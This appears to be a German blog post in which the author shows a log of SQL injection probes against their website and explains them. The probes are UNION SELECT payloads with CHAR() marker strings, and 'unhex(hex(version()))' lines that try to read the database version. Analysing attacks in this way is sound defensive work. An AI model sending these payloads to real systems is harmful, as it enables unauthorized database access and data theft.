11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45),CHAR(45,120,49,54,45,81,45),CHAR(45,120,49,55,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45),CHAR(45,120,49,54,45,81,45),CHAR(45,120,49,55,45,81,45) -- /*
11111111111111' UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45) -- /* order by 'as /*
11111111111111' UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45) -- /* order by 'as /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45),CHAR(45,120,49,54,45,81,45),CHAR(45,120,49,55,45,81,45),CHAR(45,120,49,56,45,81,45),CHAR(45,120,49,57,45,81,45),CHAR(45,120,50,48,45,81,45),CHAR(45,120,50,49,45,81,45),CHAR(45,120,50,50,45,81,45),CHAR(45,120,50,51,45,81,45),CHAR(45,120,50,52,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45),CHAR(45,120,49,54,45,81,45),CHAR(45,120,49,55,45,81,45),CHAR(45,120,49,56,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45),CHAR(45,120,49,54,45,81,45),CHAR(45,120,49,55,45,81,45),CHAR(45,120,49,56,45,81,45),CHAR(45,120,49,57,45,81,45),CHAR(45,120,50,48,45,81,45),CHAR(45,120,50,49,45,81,45),CHAR(45,120,50,50,45,81,45),CHAR(45,120,50,51,45,81,45),CHAR(45,120,50,52,45,81,45),CHAR(45,120,50,53,45,81,45) -- /*
11111111111111' UNION SELECT CHAR(45,120,49,45,81,45) -- /* order by 'as /*

[Log gekürzt]

1999999.1 union select unhex(hex(version())) -- and 1=1
199999' union select unhex(hex(version())) -- 'x'='x
11111111111111" UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45) -- /* order by "as /*
199999" union select unhex(hex(version())) -- "x"="x
1999999.1 union select unhex(hex(version())) -- and 1=1
199999' union select unhex(hex(version())) -- 'x'='x
199999" union select unhex(hex(version())) -- "x"="x
1999999.1 union select unhex(hex(version())) -- and 1=1
199999' union select unhex(hex(version())) -- 'x'='x
199999" union select unhex(hex(version())) -- "x"="x
1999999.1 union select unhex(hex(version())) -- and 1=1
199999' union select unhex(hex(version())) -- 'x'='x
199999" union select unhex(hex(version())) -- "x"="x
Auffällig sind die vielen "11111111111111" UNION SELECT" Zeilen; damit wird versucht, die Ausgabe der Webseite zu verändern. Im Original waren es deutlich mehr, jedoch alle nach demselben Muster aufgebaut mit nur kleinen Variationen in der Syntax (quasi in der Hoffnung, dass einer davon funktioniert). Da der Angreifer die Anzahl Zellen erraten muss, variieren die Versuche in der Länge.

Die vielen CHAR()-Befehle erzeugen dabei lediglich markante Textschnippsel (so wird aus "CHAR(45,120,49,45,81,45)" etwa der Text "-x1-Q-"), welche die Ausgabe einer Datenbank-Abfrage übersteuern und nach denen man anschliessend in der Webseite suchen kann – wird man fündig, hat die SQL Injection funktioniert und der eigentliche Angriff kann beginnen. Die Zahlenfolge bei CHAR() dürfte übrigens bei jedem Angriff unterschiedlich sein (ausser natürlich es handelt sich hierbei um eine Voreinstellung des verwendeten Hacker-Tools oder eine gängige Kombination).

Interessant sind auch die Zeilen am Schluss, welche mit "unhex(hex(version()))" die Versionsnummer des SQL-Servers offenbaren sollen – eine weitere, wichtige Information für jeden Angriff.

Das Ganze fand übrigens in zwei Wellen und während insgesamt 20 Minuten statt.

Yhoko